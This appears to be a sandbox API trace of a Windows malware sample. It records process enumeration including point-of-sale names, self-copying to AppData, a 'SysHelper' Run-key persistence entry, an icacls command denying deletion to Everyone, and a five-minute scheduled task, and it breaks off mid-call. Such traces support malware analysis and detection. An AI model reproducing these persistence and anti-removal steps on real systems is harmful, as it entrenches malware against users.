1 [0044.894] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9d4) returned 0x5bc [0044.894] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.895] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x1a0000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="isspos.exe") returned 0xa [0044.896] CloseHandle (hObject=0x5bc) returned 1 [0044.896] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9e4) returned 0x5bc [0044.896] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.897] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x1080000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="mxslipstream.exe") returned 0x10 [0044.898] CloseHandle (hObject=0x5bc) returned 1 [0044.898] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9f4) returned 0x5bc [0044.898] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.899] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0xd30000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="omnipos.exe") returned 0xb [0044.899] CloseHandle (hObject=0x5bc) returned 1 [0044.899] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa04) returned 0x5bc [0044.899] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.900] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0xdf0000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="spcwin.exe") returned 0xa [0044.900] CloseHandle (hObject=0x5bc) returned 1 [0044.900] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa14) returned 0x5bc [0044.900] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.901] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x11f0000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="spgagentservice.exe") returned 0x13 [0044.901] CloseHandle (hObject=0x5bc) returned 1 [0044.902] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa24) returned 0x5bc [0044.902] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.903] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0xe50000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="utg2.exe") returned 0x8 [0044.903] CloseHandle (hObject=0x5bc) returned 1 [0044.903] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa34) returned 0x5bc [0044.903] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.904] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x210000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="recorded.exe") returned 0xc [0044.904] CloseHandle (hObject=0x5bc) returned 1 [0044.904] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa6c) returned 0x0 [0044.904] CloseHandle (hObject=0x0) returned 0 [0044.904] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa94) returned 0x0 [0044.905] CloseHandle (hObject=0x0) returned 0 [0044.905] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xba8) returned 0x0 [0044.905] CloseHandle (hObject=0x0) returned 0 [0044.905] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x694) returned 0x5bc [0044.905] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.906] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x400000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="host1506_2020-06-15_14-07.exe") returned 0x1d [0044.906] CloseHandle (hObject=0x5bc) returned 1 [0044.912] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x28) returned 0x75a4e0 [0044.912] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x25c) returned 0x33f0cc0 [0044.912] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x25c) returned 0x33f24f8 [0044.912] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x25c) returned 0x33f2760 [0044.912] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x25c) returned 0x33f29c8 [0044.912] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x25c) returned 0x33f2c30 [0044.912] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x25c) returned 0x33f2e98 [0044.912] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x25c) returned 0x33f3100 [0044.912] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x25c) returned 0x33f3368 [0044.912] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x25c) returned 0x33f35d0 [0044.912] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x25c) returned 0x33f3838 [0044.923] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18e690 | out: phkResult=0x18e690*=0x5bc) returned 0x0 [0044.923] RegQueryValueExW (in: hKey=0x5bc, lpValueName="SysHelper", lpReserved=0x0, lpType=0x18e68c, lpData=0x18cdb8, lpcbData=0x18e670*=0x400 | out: lpType=0x18e68c*=0x0, lpData=0x18cdb8*=0x0, lpcbData=0x18e670*=0x400) returned 0x2 [0044.923] RegCloseKey (hKey=0x5bc) returned 0x0 [0044.924] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x759d0000 [0044.924] GetProcAddress (hModule=0x759d0000, lpProcName="SHGetFolderPathW") returned 0x75a55708 [0044.924] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe\" " [0044.924] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe\" ", pNumArgs=0x18e654 | out: pNumArgs=0x18e654) returned 0x7fed38*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe" [0044.924] lstrcpyW (in: lpString1=0x18c5b8, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe" [0044.924] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe") returned="host1506_2020-06-15_14-07.exe" [0044.924] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x18ddb8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0044.924] UuidCreate (in: Uuid=0x18e604 | out: Uuid=0x18e604) returned 0x0 [0044.924] UuidToStringW (in: Uuid=0x18e604, StringUuid=0x18e698 | out: StringUuid=0x18e698) returned 0x0 [0044.924] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x50) returned 0x3415848 [0044.924] RpcMgmtStatsVectorFree (in: StatsVector=0x18e698 | out: StatsVector=0x18e698) returned 0x0 [0044.925] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", pMore="e4b0f3b7-999e-4a7c-b0ab-22561b488cfa" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa") returned 1 [0044.925] CreateDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa"), lpSecurityAttributes=0x0) returned 1 [0044.926] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xb0) returned 0x33c52b8 [0044.926] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xb0) returned 0x33c5370 [0044.926] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa", pMore="host1506_2020-06-15_14-07.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe") returned 1 [0044.926] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe")) returned 0 [0044.926] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\host1506_2020-06-15_14-07.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe"), bFailIfExists=0) returned 1 [0044.961] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18e694 | out: phkResult=0x18e694*=0x5c0) returned 0x0 [0044.961] lstrcpyW (in: lpString1=0x18d5b8, lpString2="\"" | out: lpString1="\"") returned="\"" [0044.961] lstrcatW (in: lpString1="\"", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe" [0044.961] lstrcatW (in: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe", lpString2="\" --AutoStart" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe\" --AutoStart") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe\" --AutoStart" [0044.961] lstrlenW (lpString="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe\" --AutoStart") returned 124 [0044.961] RegSetValueExW (in: hKey=0x5c0, lpValueName="SysHelper", Reserved=0x0, dwType=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe\" --AutoStart", cbData=0xf8 | out: lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe\" --AutoStart") returned 0x0 [0044.962] RegCloseKey (hKey=0x5c0) returned 0x0 [0044.962] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xe0) returned 0x7ef2c0 [0044.962] SetLastError (dwErrCode=0x0) [0044.962] lstrcpyW (in: lpString1=0x18b5b8, lpString2="icacls \"" | out: lpString1="icacls \"") returned="icacls \"" [0044.962] lstrcatW (in: lpString1="icacls \"", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa" | out: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa") returned="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa" [0044.962] lstrcatW (in: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa", lpString2="\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" | out: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\" /deny *S-1-1-0:(OI)(CI)(DE,DC)") returned="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" [0044.962] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\" /deny *S-1-1-0:(OI)(CI)(DE,DC)", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x48, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18e5b8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18e614 | out: lpCommandLine="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\" /deny *S-1-1-0:(OI)(CI)(DE,DC)", lpProcessInformation=0x18e614*(hProcess=0x5c4, hThread=0x5bc, dwProcessId=0x6a8, dwThreadId=0xa64)) returned 1 [0044.972] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0044.980] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0044.995] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.058] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.074] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.089] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.105] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.120] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.139] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.167] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.183] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.198] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.214] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.229] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.245] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.261] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.276] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.292] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.307] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.323] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.339] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.355] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.370] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.385] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.402] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.417] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.432] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.448] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.464] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.500] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.510] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.595] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.604] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.619] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.635] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.651] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x102 [0045.666] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x1) returned 0x0 [0045.670] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x33c5370 | out: hHeap=0x730000) returned 1 [0045.670] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3415848 | out: hHeap=0x730000) returned 1 [0045.670] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xe0) returned 0x339f450 [0045.670] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xe0) returned 0x75e3d8 [0045.670] CoInitialize (pvReserved=0x0) returned 0x0 [0046.042] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0046.043] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xe0) returned 0x781f50 [0046.043] CoCreateInstance (in: rclsid=0x4d506c*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x4d4fec*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x18e67c | out: ppv=0x18e67c*=0x2c30b00) returned 0x0 [0046.175] TaskScheduler:ITaskService:Connect (This=0x2c30b00, serverName=0x18e108*(varType=0x0, wReserved1=0x339, wReserved2=0xf448, wReserved3=0x339, varVal1=0x6f, varVal2=0xe0), user=0x18e118*(varType=0x0, wReserved1=0x0, wReserved2=0x3, wReserved3=0x0, varVal1=0x0, varVal2=0xe8), domain=0x18e128*(varType=0x0, wReserved1=0x0, wReserved2=0xe0, wReserved3=0x0, varVal1=0x6f, varVal2=0x7), password=0x18e138*(varType=0x0, wReserved1=0x33f, wReserved2=0xe624, wReserved3=0x18, varVal1=0x420cab, varVal2=0x730000)) returned 0x0 [0046.180] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x33d6810 [0046.180] TaskScheduler:ITaskService:GetFolder (in: This=0x2c30b00, Path="\\", ppFolder=0x18e684 | out: ppFolder=0x18e684*=0x72ff98) returned 0x0 [0046.186] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x33d6810 | out: hHeap=0x730000) returned 1 [0046.186] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x33d6810 [0046.186] ITaskFolder:DeleteTask (This=0x72ff98, Name="Time Trigger Task", flags=0) returned 0x80070002 [0046.189] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x33d6810 | out: hHeap=0x730000) returned 1 [0046.189] TaskScheduler:ITaskService:NewTask (in: This=0x2c30b00, flags=0x0, ppDefinition=0x18e688 | out: ppDefinition=0x18e688*=0x2c30b88) returned 0x0 [0046.193] TaskScheduler:IUnknown:Release (This=0x2c30b00) returned 0x1 [0046.193] ITaskDefinition:get_RegistrationInfo (in: This=0x2c30b88, ppRegistrationInfo=0x18e65c | out: ppRegistrationInfo=0x18e65c*=0x2c30c48) returned 0x0 [0046.193] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x33d6840 [0046.193] IRegistrationInfo:put_Author (This=0x2c30c48, Author="Author Name") returned 0x0 [0046.193] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x33d6840 | out: hHeap=0x730000) returned 1 [0046.193] IUnknown:Release (This=0x2c30c48) returned 0x1 [0046.193] ITaskDefinition:get_Principal (in: This=0x2c30b88, ppPrincipal=0x18e664 | out: ppPrincipal=0x18e664*=0x2c30dd8) returned 0x0 [0046.193] IPrincipal:put_LogonType (This=0x2c30dd8, LogonType=3) returned 0x0 [0046.193] IUnknown:Release (This=0x2c30dd8) returned 0x1 [0046.193] ITaskDefinition:get_Settings (in: This=0x2c30b88, ppSettings=0x18e66c | out: ppSettings=0x18e66c*=0x2c30cf8) returned 0x0 [0046.194] ITaskSettings:put_StartWhenAvailable (This=0x2c30cf8, StartWhenAvailable=1) returned 0x0 [0046.194] IUnknown:Release (This=0x2c30cf8) returned 0x1 [0046.194] ITaskSettings:get_IdleSettings (in: This=0x2c30cf8, ppIdleSettings=0x18e650 | out: ppIdleSettings=0x18e650*=0x2c30d68) returned 0x0 [0046.194] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x33d6840 [0046.194] IIdleSettings:put_WaitTimeout (This=0x2c30d68, WaitTimeout="PT5M") returned 0x0 [0046.194] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x33d6840 | out: hHeap=0x730000) returned 1 [0046.194] IUnknown:Release (This=0x2c30d68) returned 0x1 [0046.194] ITaskDefinition:get_Triggers (in: This=0x2c30b88, ppTriggers=0x18e64c | out: ppTriggers=0x18e64c*=0x2c30cb8) returned 0x0 [0046.194] ITriggerCollection:Create (in: This=0x2c30cb8, Type=1, ppTrigger=0x18e658 | out: ppTrigger=0x18e658*=0x2c30e38) returned 0x0 [0046.194] IUnknown:Release (This=0x2c30cb8) returned 0x1 [0046.194] IUnknown:QueryInterface (in: This=0x2c30e38, riid=0x4d50ec*(Data1=0xb45747e0, Data2=0xeba7, Data3=0x4276, Data4=([0]=0x9f, [1]=0x29, [2]=0x85, [3]=0xc5, [4]=0xbb, [5]=0x30, [6]=0x0, [7]=0x6)), ppvObject=0x18e674 | out: ppvObject=0x18e674*=0x2c30e38) returned 0x0 [0046.194] IUnknown:Release (This=0x2c30e38) returned 0x2 [0046.194] ITrigger:get_Repetition (in: This=0x2c30e38, ppRepeat=0x18e660 | out: ppRepeat=0x18e660*=0x2c30e88) returned 0x0 [0046.194] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x33d6840 [0046.194] IRepetitionPattern:put_Interval (This=0x2c30e88, Interval="PT5M") returned 0x0 [0046.194] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x33d6840 | out: hHeap=0x730000) returned 1 [0046.194] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x33d6840 [0046.194] IRepetitionPattern:put_Duration (This=0x2c30e88, Duration="") returned 0x0 [0046.196] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x33d6840 | out: hHeap=0x730000) returned 1 [0046.197] ITrigger:put_Repetition (This=0x2c30e38, Repetition=0x2c30e88) returned 0x0 [0046.197] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x33d6840 [0046.197] ITrigger:put_Id (This=0x2c30e38, Id="Trigger1") returned 0x0 [0046.197] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x33d6840 | out: hHeap=0x730000) returned 1 [0046.197] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x33d6840 [0046.197] ITrigger:put_EndBoundary (This=0x2c30e38, EndBoundary="2030-05-02T08:00:00") returned 0x0 [0046.197] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x33d6840 | out: hHeap=0x730000) returned 1 [0046.197] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18e134 | out: lpSystemTimeAsFileTime=0x18e134*(dwLowDateTime=0x1f8d7a20, dwHighDateTime=0x1d643ed)) [0046.203] GetLastError () returned 0x0 [0046.215] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x24) returned 0x34100a0 [0046.220] GetLastError () returned 0x0 [0046.226] GetLastError () returned 0x0 [0046.231] GetLastError () returned 0x0 [0046.237] GetTimeZoneInformation (in: lpTimeZoneInformation=0x511078 | out: lpTimeZoneInformation=0x511078) returned 0x1 [0046.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Standard Time", cchWideChar=-1, lpMultiByteStr=0x50af80, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18e09c | out: lpMultiByteStr="AUS Eastern Standard Time", lpUsedDefaultChar=0x18e09c) returned 26 [0046.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Daylight Time", cchWideChar=-1, lpMultiByteStr=0x50afc0, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18e09c | out: lpMultiByteStr="AUS Eastern Daylight Time", lpUsedDefaultChar=0x18e09c) returned 26 [0046.293] GetLastError () returned 0x0 [0046.293] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x24) returned 0x3410100 [0046.294] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5000b8, cbMultiByte=-1, lpWideCharStr=0x3410100, cchWideChar=18 | out: lpWideCharStr="%Y-%m-%dT%H:%M:%S") returned 18 [0046.294] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa0) returned 0x7af500 [0046.294] GetLastError () returned 0x0 [0046.294] ITrigger:put_StartBoundary (This=0x2c30e38, StartBoundary="2020-06-17T01:06:16") returned 0x0 [0046.294] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x33d6840 | out: hHeap=0x730000) returned 1 [0046.294] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3422f48 | out: hHeap=0x730000) returned 1 [0046.294] IUnknown:Release (This=0x2c30e38) returned 0x1 [0046.294] ITaskDefinition:get_Actions (in: This=0x2c30b88, ppActions=0x18e668 | out: ppActions=0x18e668*=0x2c30c00) returned 0x0 [0046.294] IActionCollection:Create (in: This=0x2c30c00, Type=0, ppAction=0x18e654 | out: ppAction=0x18e654*=0x2c30ec0) returned 0x0 [0046.295] IUnknown:Release (This=0x2c30c00) returned 0x1 [0046.295] IUnknown:QueryInterface (in: This=0x2c30ec0, riid=0x4d511c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), 